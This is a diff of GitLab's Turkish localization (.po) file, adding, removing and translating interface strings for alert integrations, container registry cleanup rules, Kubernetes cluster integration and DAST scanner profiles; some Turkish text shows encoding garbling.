+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr "Kopyala"
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr "Sıfırlama anahtarı"
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "Uyarılar"
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2681,7 +2809,7 @@ msgid "All projects"
msgstr "Tüm projeler"
msgid "All projects selected"
-msgstr ""
+msgstr "Tüm projeler seçildi"
msgid "All security scans are enabled because %{linkStart}Auto DevOps%{linkEnd} is enabled on this project"
msgstr ""
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "Depo yansıtılmasının proje sahipleri tarafından yapılandırılmasına izin ver"
@@ -2780,7 +2911,7 @@ msgid "Almost there"
msgstr "Neredeyse tamamlandı"
msgid "Already blocked"
-msgstr ""
+msgstr "Zaten engellendi"
msgid "Also called \"Issuer\" or \"Relying party trust identifier\""
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "Bir hata oluÅŸtu"
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr "Terraform raporu alınırken bir hata oluştu."
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Pano listeleri alınırken bir hata oluştu. Lütfen tekrar deneyin."
@@ -3001,18 +3126,21 @@ msgstr "Bu sekme alınırken bir hata oluştu."
msgid "An error occurred while generating a username. Please try again."
msgstr "Kullanıcı adı oluştururken bir hata oluştu. Lütfen tekrar deneyin."
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr "Projeler yüklenirken bir hata oluştu"
-msgid "An error occurred while importing project: %{details}"
-msgstr "Projeyi içe aktarırken bir sorun oluştu: %{details}"
-
msgid "An error occurred while initializing path locks"
msgstr "Yol kilitlerini başlatırken bir hata oluştu"
+msgid "An error occurred while loading a section of this page."
+msgstr ""
+
msgid "An error occurred while loading all the files."
msgstr "Tüm dosyalar yüklenirken bir hata oluştu."
@@ -3067,6 +3195,9 @@ msgstr "Birleştirme isteği sürüm verileri yüklenirken bir hata oluştu."
msgid "An error occurred while loading the merge request."
msgstr "Birleştirme isteği yüklenirken bir hata oluştu."
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr "İş hattı işleri yüklenirken bir hata oluştu."
@@ -3094,9 +3225,6 @@ msgstr "Önizleme yayını iletisi oluşturulurken bir hata oluştu"
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr "Sorunları yeniden sıralarken bir hata oluştu."
@@ -3127,6 +3255,9 @@ msgstr "Bildirimlere abone olunurken bir hata oluÅŸtu."
msgid "An error occurred while triggering the job."
msgstr "Ä°ÅŸ tetiklenirken bir hata oluÅŸtu."
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr "Yorum güncellenirken bir hata oluştu"
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Grup yolu doğrulanırken bir hata oluştu"
@@ -3331,6 +3465,12 @@ msgstr "DeÄŸiÅŸiklikleri uygula"
msgid "Apply suggestion"
msgstr "Öneriyi uygula"
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr "Önerileri uygula"
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] "%{membersCount} tarafından %{count} onay gerekli"
msgstr[1] "%{membersCount} tarafından %{count} onay gerekli"
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr "Onaylayanlar"
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr "ArÅŸivlenmiÅŸ"
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr "Bu sürümde arşivlendi"
@@ -3525,9 +3671,6 @@ msgstr "Bu panoyu silmek istediÄŸinizden emin misiniz?"
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Bu cihazı silmek istediğinizden emin misiniz? Bu işlem geri alınamaz."
-msgid "Are you sure you want to delete this list?"
-msgstr "Bu listeyi silmek istediÄŸinizden emin misiniz?"
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr "Bu iş hattı planını silmek istediğinizden emin misiniz?"
@@ -3535,7 +3678,7 @@ msgid "Are you sure you want to delete this pipeline? Doing so will expire all p
msgstr ""
msgid "Are you sure you want to deploy this environment?"
-msgstr ""
+msgstr "Bu ortamı dağıtmak istediğinizden emin misiniz?"
msgid "Are you sure you want to discard this comment?"
msgstr "Bu yorumu silmek istediÄŸinizden emin misiniz?"
@@ -3558,7 +3701,7 @@ msgid "Are you sure you want to merge immediately?"
msgstr ""
msgid "Are you sure you want to re-deploy this environment?"
-msgstr ""
+msgstr "Bu ortamı yeniden dağıtmak istediğinizden emin misiniz?"
msgid "Are you sure you want to regenerate the public key? You will have to update the public key on the remote server before mirroring will work again."
msgstr "Genel anahtarı yeniden oluşturmak istediğinizden emin misiniz? Yansıtma işleminin tekrar çalışması için önce uzak sunucudaki ortak anahtarı güncellemeniz gerekecektir."
@@ -3578,6 +3721,9 @@ msgstr "Lisansı kaldırmak istediğinizden emin misiniz?"
msgid "Are you sure you want to remove this identity?"
msgstr "Bu kimliği kaldırmak istediğinizden emin misiniz?"
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr "Kayıt erişim anahtarını sıfırlamak istediğinizden emin misiniz?"
@@ -3852,6 +3998,12 @@ msgstr "Kimlik doÄŸrulama"
msgid "Authenticate with GitHub"
msgstr "GitHub ile Kimlik Doğrulaması"
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr "Kimlik doğrulanıyor"
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr "Yükselt"
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr "EngellenmiÅŸ"
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr "Engellenen sorun"
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr "Daha fazla İş Hattı dakikası satın al"
msgid "By %{user_name}"
msgstr "%{user_name} tarafından"
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr "CI / CD Ayarları"
msgid "CI Lint"
msgstr "CI Lint"
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr "CI ayarları"
@@ -4663,7 +4832,7 @@ msgid "CICD|Continuous deployment to production"
msgstr "Üretimde sürekli dağıtım"
msgid "CICD|Continuous deployment to production using timed incremental rollout"
-msgstr "Zamanlı artan dağıtım kullanarak üretime sürekli dağıtım"
+msgstr ""
msgid "CICD|Default to Auto DevOps pipeline"
msgstr "Varsayılan Otomatik DevOps iş hattı"
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr "Parçacık üretemiyor: %{err}"
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Ä°ptal"
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr "DeÄŸiÅŸiklikler"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr "Tekrar kontrol et"
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr "Alt epik mevcut deÄŸil."
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Neyin değiştiğini görmek ya da birleştirme talebi oluşturmak için bir dal/etiket seçin (ör. %{master}) ya da bir işlem girin (ör %{sha})."
@@ -5241,6 +5413,9 @@ msgstr "Dosya seçin…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr "Sınıflandırma Etiketi (isteğe bağlı)"
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "kullanılamıyor: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,8 +5677,8 @@ msgstr "SSH ile klonla"
msgid "Close"
msgstr "Kapat"
-msgid "Close %{display_issuable_type}"
-msgstr "%{display_issuable_type} kapat"
+msgid "Close %{issueType}"
+msgstr ""
msgid "Close %{tabname}"
msgstr "%{tabname} sekmesini kapat"
@@ -5511,9 +5686,6 @@ msgstr "%{tabname} sekmesini kapat"
msgid "Close epic"
msgstr "EpiÄŸi kapat"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Dönüm noktasını kapat"
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} Kubernetes kümenize başarıyla yüklendi"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5635,7 +5810,7 @@ msgid "ClusterIntegration|Add a Kubernetes cluster integration"
msgstr "Bir Kubernetes küme entegrasyonu ekleyin"
msgid "ClusterIntegration|Adding a Kubernetes cluster to your group will automatically share the cluster across all your projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
-msgstr "Grubunuza bir Kubernetes kümesi eklemek, tüm projeleriniz arasında kümeyi otomatik olarak paylaşır. Uygulamaları gözden geçirmeyi kullanın, uygulamalarınızı yayınlayın ve aynı kümeyi kullanan tüm projeler için iş hattınızı kolayca çalıştırın."
+msgstr "Grubunuza bir Kubernetes kümesi eklemek, tüm projeleriniz arasında kümeyi otomatik olarak paylaşır. Uygulamaları gözden geçirmeyi kullanın, uygulamalarınızı dağıtın ve aynı kümeyi kullanan tüm projeler için iş hattınızı kolayca çalıştırın."
msgid "ClusterIntegration|Adding a Kubernetes cluster will automatically share the cluster across all projects. Use review apps, deploy your applications, and easily run your pipelines for all projects using the same cluster."
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "CA Sertifikası"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Sertifika Yöneticisi"
@@ -5970,9 +6148,6 @@ msgstr "Grup kümesi"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr "Helm sürümü yüklenemedi"
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6130,7 +6308,7 @@ msgid "ClusterIntegration|No deployment cluster found for this job"
msgstr "Bu iş için hiçbir dağıtım kümesi bulunamadı"
msgid "ClusterIntegration|No deployment found for this job"
-msgstr "Bu iş için hiçbir dağıtım bulunamadı"
+msgstr "Bu iş için dağıtım bulunamadı"
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr "İşlem Mesajı"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Ä°ÅŸlem silindi"
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr "Bağlantı zaman aşımı"
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "Yükseltmek için satıcı ile iletişim kurun"
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr "%{title} başarıyla silinmek üzere zamanlandı"
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] "Etiketi kaldır"
msgstr[1] "Etiketleri kaldır"
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr "Üzgünüz, filtreniz sonuç vermedi."
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -7658,7 +7881,7 @@ msgid "Create a new branch"
msgstr "Yeni bir dal oluÅŸtur"
msgid "Create a new deploy key for this project"
-msgstr ""
+msgstr "Bu proje için yeni bir dağıtım anahtarı oluşturun"
msgid "Create a new file as there are no files yet. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Özel renkler"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr "Birleştirme talebi kapatıldı"
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
